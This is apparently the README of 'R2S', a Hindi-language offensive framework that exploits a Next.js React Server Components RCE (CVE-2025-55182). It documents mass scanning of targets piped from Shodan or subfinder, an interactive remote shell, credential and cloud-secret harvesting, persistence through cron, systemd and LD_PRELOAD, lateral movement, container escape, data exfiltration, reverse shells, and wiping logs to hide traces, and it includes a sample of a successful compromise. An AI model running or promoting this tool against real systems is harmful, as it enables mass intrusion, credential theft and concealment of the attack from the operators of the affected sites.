🚀 R2S - Next.js RSC Exploit Framework

Next.js React Server Components RCE के लिए उन्नत पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क

विशेषताएं • स्थापना • उपयोग • कमांड्स • उदाहरण

📋 अवलोकन

R2S एक व्यापक एक्सप्लॉइटेशन और पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क है जो Next.js React Server Components कमजोरी (CVE-2025-55182) को लक्षित करता है। यह पेनिट्रेशन टेस्टिंग के लिए उन्नत सुविधाओं के साथ एक इंटरैक्टिव शेल प्रदान करता है, जिसमें फ़ाइल ट्रांसफर, पर्सिस्टेंस, एनुमरेशन, प्रिविलेज एस्केलेशन जांच और बहुत कुछ शामिल है।

🎯 मुख्य क्षमताएं

✅ स्वचालित कमजोरी स्कैनिंग - कई लक्ष्यों की सामूहिक स्कैनिंग
✅ इंटरैक्टिव RCE शेल - निर्देशिका नेविगेशन के साथ स्थितिजन्य कमांड निष्पादन
✅ HTTP-आधारित फ़ाइल स्थानांतरण - base64 सीमाओं के बिना फ़ाइलें अपलोड/डाउनलोड
✅ रिवर्स शेल ऑटोमेशन - 25+ विभिन्न रिवर्स शेल पेलोड आज़माएं
✅ उन्नत एनुमरेशन - सिस्टम, नेटवर्क, कंटेनर और क्लाउड मेटाडेटा
✅ प्रिविलेज एस्केलेशन - स्वचालित privesc वेक्टर पहचान
✅ क्रेडेंशियल हार्वेस्टिंग - पासवर्ड, कुंजियाँ, टोकन और रहस्य निकालें
✅ पर्सिस्टेंस मैकेनिज्म - रीबूट के बाद भी पहुंच बनाए रखें
✅ लेटरल मूवमेंट - अन्य होस्ट खोजें और उनमें स्थानांतरित हों
✅ कंटेनर एस्केप - Docker/Kubernetes ब्रेकआउट वेक्टर की जांच करें
✅ डेटा एक्सफ़िलट्रेशन - संवेदनशील फ़ाइलें और कॉन्फ़िगरेशन निकालें
✅ स्टील्थ ऑपरेशन्स - लॉग साफ़ करें और निशान छिपाएं

🔥 विशेषताएं

🌐 मुख्य एक्सप्लॉइटेशन

मल्टी-थ्रेडिंग समर्थन के साथ सामूहिक स्कैनिंग
अन्य उपकरणों के साथ एकीकरण के लिए पाइपलाइन मोड
Next.js RSC के लिए स्वचालित कमजोरी पहचान
स्थायी कार्य निर्देशिका के साथ स्थितिजन्य इंटरैक्टिव शेल

📁 फ़ाइल संचालन

HTTP-आधारित अपलोड - wget/curl के माध्यम से लक्ष्य पर फ़ाइल स्थानांतरित करें
HTTP-आधारित डाउनलोड - POST अनुरोधों के माध्यम से फ़ाइलें निकालें
कोई आकार सीमा नहीं - बड़ी फ़ाइलों के साथ काम करता है (base64 विधियों के विपरीत)
स्वचालित HTTP सर्वर - आवश्यकतानुसार प्रारंभ/बंद

🔍 टोही और एनुमरेशन

सिस्टम एनुमरेशन - OS, कर्नेल, उपयोगकर्ता, प्रक्रियाएँ
नेटवर्क खोज - इंटरफ़ेस, रूट, ARP, DNS, सुनने वाले पोर्ट
कंटेनर पहचान - Docker, Kubernetes, LXC पहचान
क्लाउड मेटाडेटा - AWS, GCP, Azure क्रेडेंशियल निष्कर्षण
प्रक्रिया मेमोरी डंपिंग - चल रही प्रक्रियाओं से रहस्य निकालें
रोचक फ़ाइल खोज - SUID, लिखने योग्य निर्देशिकाएं, बैकअप, कॉन्फ़िगरेशन

🔐 क्रेडेंशियल हार्वेस्टिंग

पर्यावरण चर (पासवर्ड, API कुंजियाँ, टोकन)
.env फ़ाइलें और कॉन्फ़िगरेशन फ़ाइलें
SSH निजी कुंजियाँ और authorized_keys
संवेदनशील कमांड के साथ Bash इतिहास
डेटाबेस फ़ाइलें (SQLite, MySQL डंप)
क्लाउड क्रेडेंशियल (AWS, Azure, GCP)
Git क्रेडेंशियल और NPM टोकन
ब्राउज़र डेटा (कुकीज़, लॉगिन डेटा)
Docker और Kubernetes रहस्य

⬆️ प्रिविलेज एस्केलेशन

SUID/SGID बाइनरी पहचान
Sudo अनुमतियाँ एनुमरेशन
लिखने योग्य सिस्टम फ़ाइलें (/etc/passwd, /etc/shadow)
Docker सॉकेट पहुंच जांच
Linux क्षमताओं का विश्लेषण
कर्नेल एक्सप्लॉइट सुझाव
क्रॉन जॉब एनुमरेशन
PATH हाईजैकिंग अवसर

🔄 पोस्ट-एक्सप्लॉइटेशन

पर्सिस्टेंस मैकेनिज्म - क्रॉन जॉब, .bashrc, systemd सेवाएँ
उन्नत पर्सिस्टेंस - LD_PRELOAD, systemd टाइमर
पोर्ट स्कैनिंग - आंतरिक नेटवर्क टोही
लेटरल मूवमेंट - SSH कुंजी खोज, known_hosts विश्लेषण
कंटेनर एस्केप - विशेषाधिकार प्राप्त कंटेनर जांच, क्षमता विश्लेषण
डेटा एक्सफ़िलट्रेशन - स्वचालित संवेदनशील डेटा संग्रह
रिवर्स शेल ऑटोमेशन - ऑटो-रीट्राई के साथ 25+ पेलोड प्रकार

🥷 स्टील्थ और चोरी

लॉग सफाई - Bash इतिहास, auth लॉग, syslog
निशान ढंकना - wtmp, lastlog सफाई
सत्र प्रबंधन - सत्र सहेजें और फिर से शुरू करें

🛠️ स्थापना

पूर्वापेक्षाएँ

# Python 3.6 या उच्चतर
python3 --version

# निर्भरताएँ स्थापित करें
pip3 install requests urllib3

त्वरित प्रारंभ

# टूल को क्लोन या डाउनलोड करें
cd r2s-main

# निष्पादन योग्य बनाएं (वैकल्पिक)
chmod +x r2s_enhanced.py

# टूल चलाएं
python3 r2s_enhanced.py -h

🚀 उपयोग

मूल सिंटैक्स

python3 r2s_enhanced.py [विकल्प]

कमांड-लाइन विकल्प

विकल्प	विवरण	डिफ़ॉल्ट
`-u, --url`	एकल लक्ष्य URL	-
`-l, --list`	URLs की सूची वाली फ़ाइल	-
`-c, --cmd`	निष्पादित करने के लिए प्रारंभिक कमांड	`id`
`-t, --threads`	स्कैनिंग थ्रेड्स की संख्या	30
`-p, --proxy`	HTTP प्रॉक्सी (जैसे, `http://127.0.0.1:8080`)	-
`-v, --verbose`	विस्तृत आउटपुट सक्षम करें	False
`--http-port`	फ़ाइल स्थानांतरण के लिए HTTP सर्वर पोर्ट	8000

इनपुट विधियाँ

1. एकल लक्ष्य

python3 r2s_enhanced.py -u http://target.com

2. एकाधिक लक्ष्य (फ़ाइल)

python3 r2s_enhanced.py -l targets.txt -t 50

3. पाइपलाइन मोड (stdin)

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

💻 इंटरैक्टिव शेल कमांड्स

RCE पहुंच प्राप्त करने के बाद, आप इन कमांड्स के साथ एक इंटरैक्टिव शेल में प्रवेश करेंगे:

📂 फ़ाइल स्थानांतरण

upload <local_file> <remote_path>    # लक्ष्य पर फ़ाइल अपलोड करें
download <remote_file> <local_path>  # लक्ष्य से फ़ाइल डाउनलोड करें

🧭 नेविगेशन

cd <directory>                       # कार्य निर्देशिका बदलें
pwd                                  # कार्य निर्देशिका प्रिंट करें

🔍 एनुमरेशन

enum                                 # पूर्ण सिस्टम एनुमरेशन
privesc                              # प्रिविलेज एस्केलेशन जाँच
harvest                              # क्रेडेंशियल हार्वेस्टिंग
portscan <ip>                        # आंतरिक नेटवर्क पोर्ट स्कैन करें
memdump [pid]                        # रहस्यों के लिए प्रक्रिया मेमोरी डंप करें

🎯 पोस्ट-एक्सप्लॉइटेशन

lateral                              # लेटरल मूवमेंट के अवसर
escape                               # कंटेनर एस्केप वेक्टर
exfil [type]                         # डेटा निकालें (env/config/keys/db/logs/all)
reverse <lhost> <lport>              # कई रिवर्स शेल पेलोड आज़माएं

🔒 पर्सिस्टेंस

persist                              # बुनियादी पर्सिस्टेंस जोड़ें
advpersist                           # उन्नत पर्सिस्टेंस जोड़ें

🥷 स्टील्थ

stealth                              # लॉग साफ़ करें और निशान छिपाएं

💾 सत्र प्रबंधन

save                                 # वर्तमान सत्र सहेजें
help, ?                              # सहायता संदेश दिखाएं
exit, quit                           # इंटरैक्टिव शेल से बाहर निकलें

🖥️ सिस्टम कमांड्स

कोई भी शेल कमांड सीधे निष्पादित करें:

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

📚 उदाहरण

उदाहरण 1: बुनियादी एक्सप्लॉइटेशन

$ python3 r2s_enhanced.py -u http://vulnerable-app.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Next.js RSC Exploit Tool (CVE-2025-55182)
   Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)

   >> CREDIT( G4rxd )

[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id

[VULN] http://vulnerable-app.com >>> RCE SUCCESS
       Output: uid=1000(node) gid=1000(node) groups=1000(node)

[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse

[+] HTTP server started on 192.168.1.100:8000

next-rce:/app$

उदाहरण 2: सिस्टम एनुमरेशन

next-rce:/app$ enum

React2Shell

सबसे लोकप्रिय